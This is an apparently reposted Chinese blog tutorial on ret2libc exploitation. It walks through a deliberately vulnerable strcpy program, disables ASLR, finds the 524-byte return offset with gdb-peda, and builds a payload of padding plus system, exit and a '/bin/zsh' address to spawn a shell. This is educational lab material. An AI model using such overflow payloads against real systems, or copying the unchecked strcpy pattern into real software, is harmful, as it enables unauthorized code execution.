1. 程式人生 > >linux中ret2libc入門與實踐

linux中ret2libc入門與實踐

前言

本來想找一個windows下的棧溢位漏洞的poc作為漏洞分析路程的開篇,但是一路走來遇到了太多的問題,大大小小,什麼都有。同時因為工作事情比較多,能拿出來除錯和寫文章的時間也是斷斷續續。昨天剛有一點心得,今天就忘了一大半,同時會推翻自己之前的結論。

經過漫長的求證過程,打算把NX利劍-ret2libc這種方法和其原理用簡單直接的方式展示出來。

簡介

DEP-資料執行保護(Data Execution Prevention).這是一套軟硬體技術,能夠在記憶體上執行額外檢查以幫助防止在棧上執行惡意程式碼。其基本原理是將資料所在的記憶體頁標識為不可執行,當緩衝區溢位成功跳轉到shellcode時,程式會嘗試在資料頁面上執行指令,此時CPU就會丟擲異常,而不會執行惡意質量

return-to-libc 是一種對抗linux系統棧保護的攻擊方法。我們知道大部分linux系統有棧保護機制(DEP)。簡單的說,既然棧中的指令不能執行,我們可以找到libc中的函式去執行,這樣就繞過了資料不可執行的問題了。

後面都將用ret2libc作為return-to-libc的簡寫表示。

攻擊原理

通過把函式返回地址直接指向系統庫中的函式(如system函式),同時構造該函式的輸入引數棧,就可以達到程式碼執行的目的。

正常堆疊佈局:
這裡寫圖片描述

ret2libc執行system的堆疊佈局:
這裡寫圖片描述

這樣我們就獲得了攻擊payload的佈局結構:

A*N + system_addr + fake_ret + system_arg

這裡放一個迷惑LZ很多天的溢位堆疊的佈局:
這裡寫圖片描述

第一段是說棧溢位,覆蓋EIP跳轉到shellcode位置執行;
第二段是說使用ret2libc執行system函式。

看出問題了嗎?

system地址居然在EBP的位置。他丫的,顛覆三觀有沒有。EBP是記錄棧底位置的,那不成要把程式的呼叫棧置換到程式碼區不成。

佈局圖片引用自mit的csail,明眼的人估計一看mit就亮了。他丫的,這可是麻省理工學院 電腦科學與人工智慧實驗室的paper。居然有這麼大的錯誤。讓我這種半瓶醋如何是好。傳送門在此

環境

➜  ~ uname -a
Linux ubuntu 4.4.0-133
-generic #159-Ubuntu SMP Fri Aug 10 07:31:43 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
➜  ~ gdb -v
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
➜  ~ pip show peda 
Name: peda
Version: 1.0
Summary: Python Exploit Development Assistance for GDB
Home-page: https://github.com/longld/peda
Author: Long Le Dinh
Author-email: [email protected].net
License: Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License
Location: /usr/local/lib/python2.7/dist-packages

原始碼

這裡是ret2libc測試用的原始碼,攻擊payload在命令列輸入。


#include <stdio.h>    
#include <string.h>    

void evilfunction(char *input) {    

    char buffer[512];    
    strcpy(buffer, input);    
}    

int main(int argc, char **argv) {    

    evilfunction(argv[1]);    

    return 0;    
}

payload為什麼要在命令列輸入?

因為system的引數“/bin/sh”這段字串的地址會動態變化,需要手動撈出來之後在輸入。當然還有額外的效果,就是原始碼簡潔,攻擊過程直觀。

編譯 & 關閉ASLR

編譯

$ gcc -Wall -g -o stack3 stack3.c -fno-stack-protector -m32

關閉ASLR

# echo 0 > /proc/sys/kernel/randomize_va_space

需要解決的問題

根據上面的paylload結構,可以知道我們需要填充的有:

  1. 需要填充多少個A,或者說system地址從多少A後面開始寫。
  2. system地址是多少?
  3. exit地址是多少?你可能會問說好的fake ret怎麼變成exit地址了?因為exit函式可以清理被破壞的棧,導致程式不會崩潰。其實,在我看來填什麼都行。
  4. system函式的執行引數“/bin/sh”這個字串地址是多少?

執行

  1. 下斷點,找到system和exit函式的地址
➜  test_execve gdb stack3 
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from stack3...done.
gdb-peda$ b evilfunction 
Breakpoint 1 at 0x8048414: file a.c, line 8.

這裡寫圖片描述

這樣我們就知道了
system函式地址:0xf7e3f940
exit函式地址:0xf7e337b0
2. 找到evilfunction函式的ret位置
因為evilfunction中buffer宣告的大小是512位元組,所以我們用來溢位的字串長度必然大於512.
這裡通過peda工具計算ret的位置。

生成長度為530的字串

gdb-peda$ pattern_create 530
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOA'

作為輸入引數執行

gdb-peda$ r 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOA'
Starting program: /home/test/tmp/test_execve/stack3 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOA'

程式崩潰,找到EIP暫存器中的字串’s9As’,即為ret-我們需要的返回地址。

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0xffffc980 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
EBX: 0x0 
ECX: 0xffffd0b0 --> 0x414f73 ('sOA')
EDX: 0xffffcb8f --> 0x414f73 ('sOA')
ESI: 0xf7fb5000 --> 0x1afdb0 
EDI: 0xf7fb5000 --> 0x1afdb0 
EBP: 0x416a7341 ('AsjA')
ESP: 0xffffcb90 --> 0xff00414f 
EIP: 0x73413973 ('s9As')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x73413973
[------------------------------------stack-------------------------------------]
0000| 0xffffcb90 --> 0xff00414f 
0004| 0xffffcb94 --> 0xffffcc54 --> 0xffffce7f ("/home/test/tmp/test_execve/stack3")
0008| 0xffffcb98 --> 0xffffcc60 --> 0xffffd0b4 ("GNOME_KEYRING_PID=")
0012| 0xffffcb9c --> 0x8048481 (<__libc_csu_init+33>:   lea    eax,[ebx-0xf8])
0016| 0xffffcba0 --> 0xf7fb53dc --> 0xf7fb61e0 --> 0x0 
0020| 0xffffcba4 --> 0xffffcbc0 --> 0x2 
0024| 0xffffcba8 --> 0x0 
0028| 0xffffcbac --> 0xf7e1d637 (<__libc_start_main+247>:   add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x73413973 in ?? ()

計算ret偏移,得到524,所以我們要填充524個A。

gdb-peda$ pattern_
pattern_arg     pattern_create  pattern_env     pattern_offset  pattern_patch   pattern_search  
gdb-peda$ pattern_offset s9As
s9As found at offset: 524
  1. “/bin/sh”的地址

這裡感覺比較巧妙,正常我們可以用自己過早的字串放進去,但是,這樣的話我們還得動態計算我們字串的地址。ret2libc使用環境變數中的“/bin/sh”字串作為引數。需要注意的是,環境變數的地址會動態變化,記得老外的文章中提過,每執行一次,好像地址會增加幾個位元組。

我的shell是zsh,所以在環境變數中找zsh就好了。

gdb-peda$  x/500s $esp
...
...
cf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.o"...
0xffffdbf4: "gv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;3"...
0xffffdcbc: "6:*.xspf=00;36:"
0xffffdccc: "SSH_AUTH_SOCK=/run/user/1000/keyring/ssh"
0xffffdcf5: "XDG_GREETER_DATA_DIR=/var/lib/lightdm-data/test"
0xffffdd25: "SHELL=/bin/zsh"
0xffffdd34: "TERMINATOR_UUID=urn:uuid:773f4dc6-e568-4861-9206-7a07da238c4a"
0xffffdd72: "LC_NAME=zh_CN.UTF-8"
0xffffdd86: "GDMSESSION=ubuntu"
0xffffdd98: "QT_ACCESSIBILITY=1"

得到字串”SHELL=/bin/zsh”的地址:0xffffdd25

進一步計算”/bin/zsh”的地址:

gdb-peda$ p 0xffffdd25+6
$1 = 0xffffdd2b

“/bin/zsh”的地址:0xffffdd2b

彙總

‘A’ * 524
0xf7e3f940 system
0xf7e337b0 exit
0xffffdd2b /bin/sh

攻擊

執行命令:

gdb-peda$ r $(cat arg)
Starting program: /home/test/tmp/test_execve/stack3 $(cat arg)

這裡寫圖片描述

在調用出來的zsh中我們可以執行各種命令,但是使用exit退出時,發現會卡住。理論上會完美推出的,結果這個樣紙。原因還不明,有時間再查查。

總結

這個程式的成功執行得利於關閉ASLR,system和exit函式的地址才能固定下來。我們構造poc才方便很多。

ret2libc的精髓之處在於,把ret addr修改成libc庫中的函式地址,並且構造了system函式的引數。對於DEP防禦來說,你不讓我執行我的程式碼,我就利用你的函式達到我的目的。這邊是面向返回程式設計的設計思路。

這裡寫圖片描述

參考文獻

https://www.shellblade.net/docs/ret2libc.pdf
https://www.exploit-db.com/docs/english/28553-linux-classic-return-to-libc-&-return-to-libc-chaining-tutorial.pdf
https://www.exploit-db.com/papers/13147/
https://blog.csdn.net/guilanl/article/details/61921481
https://blog.csdn.net/linyt/article/details/43643499
https://blog.csdn.net/linyt/article/details/48738757
https://blog.csdn.net/huqinwei987/article/details/23548239
https://pdfs.semanticscholar.org/presentation/ead2/ed949c8d3933d956868d092c8fc29f626ec2.pdf
https://blog.csdn.net/tzh_linux/article/details/50842814
https://exploit.courses/files/bfh2017/day4/0x51_ExploitMitigations.pdf